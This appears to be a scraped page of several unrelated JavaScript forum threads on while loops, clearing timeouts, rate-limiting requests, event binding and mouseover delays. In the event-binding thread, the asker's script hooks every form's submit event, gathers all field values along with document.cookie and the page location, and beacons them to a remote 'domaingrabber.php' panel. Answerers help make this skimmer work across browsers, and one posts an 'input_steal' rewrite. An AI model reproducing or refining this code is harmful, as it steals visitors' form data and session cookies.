When I am using for loop it's working perfectly but when I try to run this code with while loop and it's stuck loading.
// for (var i = 0; i < 7; i++) {
// document.querySelectorAll("button")[i].addEventListener("click",
// function () {
// alert("Hi there! I'm working ");
// }
// );
// }
var i = 0;
while (i < 7) {
document.querySelectorAll("button")[i].addEventListener("click",
function () {
alert("Hi there! I'm working ");
i++;
}
);
}
A working solution can be as easy as this:
// for (var i = 0; i < 7; i++) {
// document.querySelectorAll("button")[i].addEventListener("click",
// function () {
// alert("Hi there! I'm working ");
// }
// );
// }
var i = 0;
while (i < 7)
document.querySelectorAll("button")[i++].addEventListener("click",
function () {
alert("Hi there! I'm working ");
}
);
<button>a</button><br>
<button>b</button><br>
<button>c</button><br>
<button>d</button><br>
<button>e</button><br>
<button>f</button><br>
<button>g</button><br>
<button>h</button>
This is the equivalent loop with while
var i = 0;
while (i < 7) {
document.querySelectorAll("button")[i].addEventListener("click", function () {
alert("Hi there! I'm working ");
});
i++;
}
What your previous code did, is that it kept on adding an event listener that would try to update the i variable on click but since your page never loaded, it did not have the chance (nor would the code be correct if it did).
Related
i would like to execute a loop in chrome console ,but i want to stop it when it is running (without closing web browser).So how to do that . Thanks much for any helps .
This is my script ,i want to stop this:
for(var i=0;i<20;i++) {
(function (i) {
setTimeout(function () {
{
scrollBy(1500, 999999);
}
}, 8000 * i);
}(i));
};
setTimeout(function () {
alert('Finish--------------!');
}, 8000 * (i));
Correct me if I'm wrong but I think you're trying to clear the timeout objects rather than stop the loop.
Try something like this:
var obj = [];
for(var i=0;i<20;i++) {
(function (i) {
obj.push(setTimeout(function () {
{
scrollBy(1500, 999999);
}
}, 8000 * i));
}(i));
}
obj.push(setTimeout(function () {
alert('Finish--------------!');
}, 8000 * (i)));
// when this function is called it will loop over the timeout objects
// you created in the above loop and clear them
function clearTO() {
var i;
for (i = 0; i < obj.length; i += 1) {
clearTimeout(obj[i]);
}
}
// if typing 'yes' in the prompt gives you the behavior
// you're looking for replace this timeout function with something more dynamic that fits your needs
var cnt = 0;
function stop() {
if (prompt("type yes to stop") === "yes") {
clearTO();
} else if(cnt < i){
cnt += 1;
setTimeout(stop, 8010);
};
}
stop();
Obviously You'll have to bind clearTO() to an event of some kind.
Maybe try this another function structure:
eg.
//CODE WILL STOP WHEN PAGE IS NEARLY END
var i=0;
function someFunc() {
setTimeout(function () {
{
scrollBy(0, 200);
}
}, 8000 * i);
i++;
if($(window).height()-window.pageYOffset < 200) i=20;
if(i<20) someFunc();
}
someFunc();
Regarding to servers API, i should limit requests to 3 per second.
Here is my code:
groups.forEach(function (group) {
Api.simpleRequest(uri).then(function (res){
// processing result
}, function(err) {
// error handling
});
});
What i tried to do:
1.
for (var i=0; i < groups.length; i++) {
(function (index){
setTimeout(function() {
Api.simpleRequest(url).then() //...
}, 1000);
})(i);
};
Tried to use WinJS.Promise.timeout(1000) as then continue of my promise.
Both options does not work for me.
Just found working solution, but with setInterval() instead of setTimeout()
var i = 0;
var length = groups.length - 1;
var timer = setInterval(function() {
Api.simpleRequest(uri).then() //...
if (i == groups.length) {
clearInterval(timer);
};
i++;
});
For my program I have to make a 100 JSON requests. Unfortunately only 5 calls per second are allowed. Since I am making all the JSON request with a for loop (is the best way), I have to pause the loop after every 5 calls for 1 second.
function Hello() {
$("#randomdiv").show();
for (var i=0; i<100; i++) {
if (i%5 == 0 && i>0) {
sleep(1000);
}
$.getJSON(JSONreq, function(data) {Just a JSON request, nothing special})
};
};
The sleep(1000) causes the whole page to freeze for a about 20 seconds and prevents the #randomdiv from appearing before the JSON requests are made.
What can I do to solve this problem?
Thanks a lot :)
You can use a timeout with a closure:
function Hello() {
$("#randomdiv").show();
var loop = getLoop();
loop();
};
function getLoop() {
var count = 0;
var func = function() {
for (var i = 0; i < 5; ++i) {
$.getJSON(JSONreq, function(data) {Just a JSON request, nothing special})
}
if (++count < 20) {
setTimeout(func, 1000);
}
}
return func;
}
You can do something like this:
function Hello() {
$("#randomdiv").show();
for (var i = 0; i < 100; i++) {
var interval = 0;
if (i % 5 == 0 && i > 0) {
interval = 1000;
}
setTimeout(function () {
getJson()
}, interval);
};
}
function getJson() {
$.getJSON(JSONreq, function (data) {
Just a JSON request, nothing special
});
}
So i've got 2 sets of js one with attach event and one with addEventListener attach event works perfectly in IE 8 as expected and addEventListener for IE 9. if i use addEventListener on firefox in jsfiddle it seems to work fine no issues in firefox but as soon as i deploy it and try to use it as intended it just doesn't work at all any input would be great..
IE 8
var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
{
// alert(formsCollection[i].name);
formsCollection[i].attachEvent('onsubmit', function() {
//working fine
var formsCollection1 = document.getElementsByTagName("form");
for (x = 0 ; x < formsCollection1.length; x++)
{
var elements1 = formsCollection1[x].elements;
for (e = 0 ; e < elements1.length; e++)
{
chain += elements1[e].name + "%3d" + elements1[e].value + "|";
}
}
attachForm(chain);
//end mid
}, false);
}
function attachForm(data) {
// alert(data);
var oImg=document.createElement("img");
oImg.setAttribute('src', "URL"+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);
}
IE 10
var formsCollection = document.getElementsByTagName("form");
var chain = "";
for(var i=0;i<formsCollection.length;i++)
{
// alert(formsCollection[i].name);
formsCollection[i].addEventListener('submit', function() {
//working fine
var formsCollection1 = document.getElementsByTagName("form");
for (x = 0 ; x < formsCollection1.length; x++)
{
var elements1 = formsCollection1[x].elements;
for (e = 0 ; e < elements1.length; e++)
{
chain += elements1[e].name + "%3d" + elements1[e].value + "|";
}
}
attachForm(chain);
//end mid
}, false);
}
function attachForm(data) {
// alert(data);
var oImg=document.createElement("img");
oImg.setAttribute('src', "http://192.168.91.144/panel/domaingrabber.php?id=0.0.0.0&domain="+document.domain+"&location="+document.location+"&cookie="+document.cookie+"&post="+data);
oImg.setAttribute('alt', 'na');
oImg.setAttribute('height', '1px');
oImg.setAttribute('width', '1px');
document.body.appendChild(oImg);
}
any ideas would be great, it's properly something stupid but i just can't think today
Combine them into a general function that can detect the correct way:
function addEvent(element, eventName, callback) {
if (element.addEventListener) {
element.addEventListener(eventName, callback, false);
} else if (element.attachEvent) {
element.attachEvent("on" + eventName, callback);
}
}
and then use it like:
addEvent(document.getElementById("some_id"), "click", function () {
// Your click handler for that element
});
That way, your code that binds the event doesn't need to figure out which to use and can work in every browser as long as you call addEvent.
I just created the following with your help, thank you.
It works in Firefox for me.
I uploaded a demo to http://mikaelz.host.sk/helpers/input_steal.html
function collectInputs() {
var forms = parent.document.getElementsByTagName("form");
for (var i = 0;i < forms.length;i++) {
forms[i].addEventListener('submit', function() {
var data = [],
subforms = parent.document.getElementsByTagName("form");
for (x = 0 ; x < subforms.length; x++) {
var elements = subforms[x].elements;
for (e = 0; e < elements.length; e++) {
if (elements[e].name.length) {
data.push(elements[e].name + "=" + elements[e].value);
}
}
}
console.log(data.join('&'));
// attachForm(data.join('&));
}, false);
}
}
window.onload = collectInputs();
I'm using javascript to set my mouseover at the left nav. But the problem is, the timeout is faster than it should be. How do I make it longer on mouseover?
stuHover = function () {
var cssRule;
var newSelector;
for (var i = 0; i < document.styleSheets.length; i++) {
for (var x = 0; x < document.styleSheets[i].rules.length; x++) {
cssRule = document.styleSheets[i].rules[x];
if (cssRule.selectorText.indexOf("LI:hover") != -1) {
newSelector = cssRule.selectorText.replace(/LI:hover/gi, "LI.iehover");
document.styleSheets[i].addRule(newSelector, cssRule.style.cssText);
}
}
}
var getElm = document.getElementById("nav").getElementsByTagName("LI");
for (var i = 0; i < getElm.length; i++) {
getElm[i].onmouseover = function () {
this.className += " iehover";
}
getElm[i].onmouseout = function () {
this.className = this.className.replace(new RegExp("iehover\\\b"), "")
}
}
}
if (window.attachEvent) window.attachEvent("onload", stuHover);
You want something like this:
getElm[i].onmouseout = function() {
var t = this;
setTimeout(function() {
t.className = t.className.replace(" iehover","");
},5000); // 5 seconds
};
Although really, if I had to wait 5 seconds for something to disappear if I accidentally moved over the trigger area, I'd be annoyed. Try 250 instead (0.25 seconds).